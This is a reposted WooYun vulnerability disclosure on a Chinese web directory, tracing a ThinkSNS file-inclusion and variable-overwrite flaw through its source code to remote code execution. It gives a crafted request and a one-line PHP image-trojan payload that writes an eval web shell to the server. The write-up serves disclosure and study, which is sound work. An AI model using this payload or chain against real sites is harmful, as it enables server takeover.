网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

[公开漏洞]ThinkSNS任意文件包含2(可getshell)

来源:WooYun 浏览:1780次 时间:2014-07-17
简介:ThinkSNS任意文件包含2(可getshell) 相关厂商: ThinkSNS漏洞作者:Ano_Tom 提交时间:2014-04-18 14:25 公开时间:2014-07-17 15:29 漏洞类型:文件包含危害等级:高 自评Ran

ThinkSNS任意文件包含2(可getshell) 相关厂商: ThinkSNS 漏洞作者:Ano_Tom 提交时间:2014-04-18 14:25 公开时间:2014-07-17 15:29 漏洞类型:文件包含 危害等级:高 自评Rank:20 漏洞状态: 厂商已经确认 漏洞来源:http://www.wooyun.org Tags标签: 无 漏洞详情 披露状态:

2014-04-18:细节已通知厂商并且等待厂商处理中
2014-04-18:厂商已经确认,细节仅向厂商公开
2014-04-21:细节向第三方安全合作伙伴开放
2014-04-28:细节向核心白帽子及相关领域专家公开
2014-05-08:细节向普通白帽子公开
2014-05-28:细节向实习白帽子公开
2014-07-17:细节向公众公开

简要描述:

对用户可控的数据未作足够过滤,结合变量覆盖漏洞直接getshell

详细说明:

问题,今天早上无聊又打开thinksns代码查看了一番

之前提交的漏洞,不知道厂商是怎么修复的

无意中看到这样的代码

/thinksns/apps/weiba/Lib/Widget/WeibaReplyWidget/WeibaReplyWidget.class.php 199行左右

看到了这样一个变量获取方式,

1.png



如此获取变量的方式,是非常糟糕的。看EasyTalk的用户提升漏洞

WooYun: Easytalk垂直权限问题(逻辑漏洞可提权getshell)

他获取变量的方式是这样的,$userdata=$_POST["user"];造成权限提升漏洞

很明显,这样是很糟糕的。

那继续跟踪$var,但首先得搞清楚这个变量是从哪里get来的。仔细分析代码,

是在微吧里,如果用户a发了一个帖子,然后用户b回复了a的帖子,那再对b的回帖进行回复时,则触发了请求。

2.png



审查元素,数据是js动态传递的

3.png



js代码为

reply_reply:{ //点某条回复 
click:function(){
var attrs = M.getEventArgs(this);
ui.box.load(U('widget/WeibaReply/reply_reply')+'&widget_appname=weiba'+'&weiba_id='+attrs.weiba_id+'&post_id='+attrs.post_id+'&post_uid='+attrs.post_uid+'&to_reply_id='+attrs.to_reply_id+'&to_uid='+attrs.to_uid+'&to_comment_uname='+attrs.to_comment_uname+'&feed_id='+attrs.feed_id+'&addtoend='+attrs.addtoend+'&comment_id='+attrs.comment_id,L('PUBLIC_RESAVE'),function(){
$('#at-view').hide();
});
}
},



4.png



参数太多太繁杂,设置代理,用burpsuite查看连接请求,请求内容大致如下

GET /xxx/thinksns/index.php?app=widget&mod=WeibaReply&act=reply_reply&widget_appname=weiba&weiba_id=1&post_id=1&post_uid=2&to_reply_id=1&to_uid=3&to_comment_uname=test02&feed_id=4&addtoend=0&comment_id=1&_=1397798603367 HTTP/1.1
Host: x.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://x.com/xxx/thinksns/index.php?app=weiba&mod=Index&act=postDetail&post_id=1
Cookie: kio__user_login=7evb2cbXzuXQzcKTy87U5OfgyMrUrencncjX0IqjpejX2trg3OrPzcKTnMub2tqqn5mZpKvO1Jqblc3L2t3byJiapdmjo8mZmc2Js6Xr0MvHyqOdkKCVuKrG1aPD1uHS2eTMnpqWk4mQz-Hky9bg4Ji5w4WekZqjmM_Fvp2dqJjd5Z-am5eYoZi9zMrU3Kedn5aYk5qYqZi80NnO0-fjnpegkZk.; PHPSESSID=7igshj6u03ut4b2ihur7dvmbu3; T3_online_update=1397798589; T3_TSV3_LOGGED_USER=Ght4WQbI0iDrTZqHIste52cjneyh50IO; T3_TSV3_ACTIVE_TIME=1397798609
Connection: keep-alive



载入repeater进行变量的追踪调试

在reply_reply()函数里添加var_dump($var);die;//查看响应

5.png



成功返回了用户添加的自定义变量,然后继续跟踪,变量进入了

$this->renderFile(dirname(__FILE__)."/reply_reply.html",$var);中

跟踪该函数

代码/thinksns/core/OpenSociax/Widget.class.php 73行左右

protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') {
$var['ts'] = $GLOBALS['ts'];
if (! file_exists_case ( $templateFile )) {
// 自动定位模板文件
// $name = substr ( get_class ( $this ), 0, - 6 );
// $filename = empty ( $templateFile ) ? $name : $templateFile;
// $templateFile = 'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' );
// if (! file_exists_case ( $templateFile ))
throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' );
}
// var_dump($var);die;//第二步,到了这里了
$template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' );

$content = fetch($templateFile,$var,$charset);

return $content;
}
}



继续dump $var变量,跟踪,变量又进入了fetch函数里了

根据之前的漏洞测试,前提交的thinksns漏洞,不知道厂商是如何修复的,

此处按官方的原版函数

代码/thinksns/core/OpenSociax/functions.inc.php 939行左右

此函数不分析,上个漏洞已经有流程了,直接在最后

// var_dump($tvar);die;
extract($tvar, EXTR_OVERWRITE);

//载入模版缓存文件
include $templateCacheFile;



输出变量,查看用户可控的变量是否还在,结果如图

6.png



为了测试方便直接在目录上放置图片木马,成功包含后,会在根目录下生成一句话木马,具体的拿shell方法跟上个漏洞所提的方法一样。

注册普通用户,上传图片木马,图片木马嵌入代码为

gif89a<?php file_put_contents("hi.php","<?php @eval(\$_POST[a])?>");?>

2.上传图片,获得图片后,执行包含,则在根目录下生成hi.php

7.png

漏洞证明:

如上详细描述

修复方案:

首先变量那样获取是很糟糕的,其次是那个函数问题,酌情修复吧:)

版权声明:转载请注明来源 Ano_Tom@乌云

漏洞回应 厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-04-18 14:38

厂商回复:

和上一个是同一个bug,所以,稍微给你降一点分值吧。非常感谢!这个得在核心修复才能解决其他地方可能出现同类问题。

最新状态:

暂无


0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/2505.html

好玩的手游下载

猜你喜欢

推荐站点

  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com
  • 心动网址导航心动网址导航

    心动网址导航精选了国内国外著名的网站、好玩的、好看的、有趣的国内国外网站以及实用的、优秀的国内国外网站,包括国外视频、国外购物、国外交友、国外新闻等多种类型 同时提供精品行业分类目录提交,让用户全方位了解国内国外互联网动态!

    xd00.com
  • 门户网址-优秀网站导航门户网址-优秀网站导航

    门户网址-优秀网站导航,精选网址导航,免费分类目录提交,实用酷站大全。

    top.mhwz.cn

最新优秀网站